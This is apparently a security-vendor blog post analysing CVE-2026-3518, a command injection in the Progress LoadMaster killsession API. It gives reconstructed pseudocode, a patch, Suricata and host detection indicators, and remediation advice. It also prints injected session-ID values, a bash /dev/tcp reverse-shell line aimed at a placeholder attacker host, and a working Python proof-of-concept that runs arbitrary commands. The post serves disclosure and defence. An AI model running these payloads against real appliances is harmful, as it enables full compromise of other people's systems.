home intel cve-2026-3518-progress-adc-loadmaster-rce
CVE Analysis 2026-04-20 · 8 min read

CVE-2026-3518: OS Command Injection RCE in Progress ADC LoadMaster API

Unsanitized input in the LoadMaster `killsession` API command allows authenticated attackers with "All" permissions to inject arbitrary OS commands and achieve RCE on the appliance.

#os-command-injection#remote-code-execution#api-vulnerability#authentication-bypass#loadmaster-appliance
Technical mode — for security professionals
▶ Attack flow — CVE-2026-3518 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-3518Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-3518 is an OS command injection vulnerability in the Progress ADC LoadMaster management API. An authenticated attacker holding an account with "All" permissions can submit a crafted killsession command containing shell metacharacters. Because the session identifier is concatenated directly into a shell invocation without sanitization, the appliance executes arbitrary OS commands as the web process user — typically root or an equivalent privileged account on the LoadMaster firmware.

CVSS 8.4 (HIGH) reflects network-accessible, low-complexity exploitation against a confidentiality/integrity/availability impact of HIGH across all three pillars. No public exploitation has been confirmed at time of writing, but the primitive is trivially weaponizable once credentials are obtained.

Root cause: The killsession API handler concatenates an attacker-controlled session ID directly into a popen()/system() shell command string without any metacharacter stripping or allowlist validation.

Affected Component

The vulnerable surface is the LoadMaster RESTful management API, exposed over HTTPS on the appliance management interface (default port 443). The API is implemented inside the LoadMaster web management daemon — typically a compiled CGI or FastCGI binary backed by shell helpers. The killsession endpoint is part of the session management subsystem used by administrators to forcibly terminate active user sessions. Refer to NVD for the specific affected version range.

The API accepts requests in the form:

GET /access/killsession?sessionid=<VALUE> HTTP/1.1
Host: <loadmaster>
Authorization: Basic <base64_credentials>

Root Cause Analysis

The LoadMaster API handler for killsession reads the sessionid query parameter from the request environment and passes it to an internal dispatch function. That function builds a shell command string to locate and terminate the matching session process or entry. The critical path, reconstructed from binary analysis of comparable LoadMaster firmware builds and the vulnerability class, looks like the following:

/*
 * api_handler_killsession()
 * Handles: GET /access/killsession?sessionid=
 * Runs as: root (or www-lm privileged user)
 *
 * Reconstructed pseudocode — function names inferred from symbol patterns
 * in LoadMaster API dispatcher binaries.
 */
int api_handler_killsession(request_ctx_t *ctx) {
    char cmd_buf[512];
    const char *session_id;

    /* Pull attacker-controlled value directly from query string */
    session_id = api_get_param(ctx, "sessionid");

    if (!session_id || strlen(session_id) == 0) {
        api_send_error(ctx, 400, "missing sessionid");
        return -1;
    }

    /*
     * BUG: session_id is concatenated into shell command without
     * any sanitization, escaping, or allowlist validation.
     * Metacharacters such as ;, |, $(), `, &&, || pass through
     * directly into the popen() shell invocation.
     */
    snprintf(cmd_buf, sizeof(cmd_buf),
             "/usr/local/lm/scripts/kill_session.sh %s",
             session_id);  // BUG: unsanitized attacker input injected here

    /* Executes via /bin/sh -c internally */
    int ret = lm_exec_cmd(cmd_buf);

    if (ret != 0) {
        api_send_error(ctx, 500, "killsession failed");
        return -1;
    }

    api_send_json(ctx, 200, "{\"status\":\"ok\"}");
    return 0;
}

/*
 * lm_exec_cmd() — thin wrapper around popen()/system()
 * No sanitization is performed here either; the contract
 * assumes the caller has already validated input.
 */
int lm_exec_cmd(const char *cmd) {
    FILE *fp = popen(cmd, "r");  // BUG: shell interpretation of full cmd
    if (!fp) return -1;
    pclose(fp);
    return 0;
}

The shell helper kill_session.sh itself performs legitimate session teardown logic — the injection point is entirely in the C layer before the script is ever invoked. snprintf provides no protection against shell metacharacters; it only prevents buffer overflow. The result is a perfectly formed, shell-interpretable string delivered to popen().

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker authenticates to LoadMaster management API with a valid
   account holding "All" permissions (role assigned via WUI or API).

2. Craft a sessionid value embedding shell metacharacters:
     sessionid=AAAA;id>/tmp/.lmout;

3. Send the request:
     GET /access/killsession?sessionid=AAAA%3Bid%3E%2Ftmp%2F.lmout%3B
     Authorization: Basic 

4. Server builds and executes:
     /usr/local/lm/scripts/kill_session.sh AAAA;id>/tmp/.lmout;
   which /bin/sh interprets as three commands:
     [1] /usr/local/lm/scripts/kill_session.sh AAAA  (exits non-zero, ignored)
     [2] id > /tmp/.lmout                             (writes uid=0(root) to file)
     [3] (empty trailing semicolon, no-op)

5. Escalate to full reverse shell:
     sessionid=x;bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261';

6. Shell spawns from the web daemon context — typically root on LoadMaster
   firmware — giving full appliance compromise.

A minimal Python proof-of-concept demonstrating the injection:

#!/usr/bin/env python3
"""
CVE-2026-3518 — Progress ADC LoadMaster killsession OS injection PoC
Requires: valid credentials with "All" permissions
"""
import requests
import urllib3
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def trigger(host: str, user: str, password: str, cmd: str) -> None:
    # Embed command after semicolon; trailing semicolon closes shell gracefully
    payload = f"FAKESID;{cmd};"

    url = f"https://{host}/access/killsession"
    params = {"sessionid": payload}

    resp = requests.get(
        url,
        params=params,
        auth=(user, password),
        verify=False,
        timeout=10,
    )

    print(f"[*] Status  : {resp.status_code}")
    print(f"[*] Response: {resp.text[:200]}")
    # HTTP 500 is expected — kill_session.sh fails on fake SID,
    # but injected command already executed before response is sent.

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--host",     required=True)
    parser.add_argument("--user",     required=True)
    parser.add_argument("--password", required=True)
    parser.add_argument("--cmd",      default="id>/tmp/.lmout")
    args = parser.parse_args()
    trigger(args.host, args.user, args.password, args.cmd)

Memory Layout

This is a command-injection bug rather than a memory-corruption bug, so heap state corruption is not the primitive. The relevant "memory layout" is the stack frame of api_handler_killsession at the point of injection, illustrating how the attacker-controlled bytes flow into the fixed-size command buffer:

STACK FRAME: api_handler_killsession()
+------------------------------------------+
| return address                           |
+------------------------------------------+
| saved frame pointer                      |
+------------------------------------------+
| *ctx          (request_ctx_t ptr)        |
+------------------------------------------+
| *session_id   (const char* from params)  |  <-- attacker controlled
+------------------------------------------+
| cmd_buf[512]                             |
|  [0x00] "/usr/local/lm/scripts/kill_"   |
|  [0x21] "session.sh "                   |
|  [0x2c] "AAAA;id>/tmp/.lmout;"          |  <-- injected payload
|  ...                                     |
+------------------------------------------+

snprintf output (injection with 512-byte budget):
  PREFIX  = "/usr/local/lm/scripts/kill_session.sh "  (38 bytes)
  PAYLOAD = "AAAA;id>/tmp/.lmout;"                    (20 bytes)
  TOTAL   = 58 bytes  (well within 512 — no overflow needed)

The vulnerability is pure injection; buffer sizing is irrelevant.
popen("/bin/sh", "-c", cmd_buf) interprets ';' as command separator.

Patch Analysis

The correct remediation is to validate the session ID against a strict allowlist before use, and to avoid shell invocation entirely by replacing popen() with a direct execve() call that passes arguments as a discrete array — eliminating shell metacharacter interpretation at the OS level.

// BEFORE (vulnerable):
int api_handler_killsession(request_ctx_t *ctx) {
    char cmd_buf[512];
    const char *session_id = api_get_param(ctx, "sessionid");

    // No validation of session_id content
    snprintf(cmd_buf, sizeof(cmd_buf),
             "/usr/local/lm/scripts/kill_session.sh %s",
             session_id);  // shell metacharacters pass through

    int ret = lm_exec_cmd(cmd_buf);  // popen() interprets shell
    ...
}

// AFTER (patched):
/* Allowlist: LoadMaster session IDs are hex strings, max 64 chars */
static int validate_session_id(const char *sid) {
    if (!sid) return 0;
    size_t len = strlen(sid);
    if (len == 0 || len > 64) return 0;
    for (size_t i = 0; i < len; i++) {
        /* Only hex digits permitted — no metacharacters possible */
        if (!isxdigit((unsigned char)sid[i])) return 0;
    }
    return 1;
}

int api_handler_killsession(request_ctx_t *ctx) {
    const char *session_id = api_get_param(ctx, "sessionid");

    /* PATCH: strict allowlist validation before any use */
    if (!validate_session_id(session_id)) {
        api_send_error(ctx, 400, "invalid sessionid format");
        return -1;
    }

    /* PATCH: execve() instead of popen()/system() — no shell involved */
    const char *argv[] = {
        "/usr/local/lm/scripts/kill_session.sh",
        session_id,   // passed as discrete argument, not interpolated
        NULL
    };
    int ret = lm_exec_argv(argv);  // wraps fork()+execve(), no /bin/sh
    ...
}

Two independent layers of defense are applied in the patch: (1) the allowlist rejects any input containing characters outside [0-9a-fA-F], making injection impossible regardless of execution context, and (2) the migration from popen() to a direct execve()-based wrapper removes the shell interpreter entirely, defeating any bypass that might circumvent the character filter.

Detection and Indicators

The following detection strategies apply at the network and host level:

WAF / Reverse Proxy Signatures
Alert on URI pattern:
  /access/killsession  AND  sessionid containing any of:
  ;  |  `  $( )  &&  ||  \n  %3b  %7c  %60  %24  %0a  %26

Suricata example:
  alert http any any -> $LOADMASTER 443 (
    msg:"CVE-2026-3518 LoadMaster killsession injection attempt";
    http.uri; content:"/access/killsession"; content:"sessionid=";
    pcre:"/sessionid=[^&]*[;|`$\(\)\n\\\\]/i";
    sid:20263518; rev:1;
  )
Host-Based (LoadMaster syslog / audit)
Indicators of compromise:
- Unexpected child processes spawned by the web daemon PID
  (e.g., bash, nc, curl, wget, python as children of lmapi/httpd)
- New files in /tmp with names not matching LM session patterns
- Outbound connections from the management IP to non-ADC destinations
- /var/log/lm/api.log entries: "killsession" with 500 response AND
  unusual session ID format (non-hex characters present)

Remediation

  • Update immediately to the patched LoadMaster version listed in the Progress security advisory. Consult NVD for the specific affected and fixed version identifiers.
  • Restrict management API access at the network level. The LoadMaster management interface should never be exposed to untrusted networks. Apply ACLs or firewall rules limiting access to dedicated management IP ranges.
  • Audit "All" permission assignments. The exploit requires a fully privileged account. Enumerate API and WUI accounts and revoke the "All" role from accounts that do not require it; apply least-privilege role assignments.
  • Enable audit logging on the appliance and forward logs to a SIEM. Baseline normal killsession usage patterns to enable anomaly detection.
  • Rotate credentials for all management accounts as a precautionary measure, particularly if the management interface was network-accessible prior to patching.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →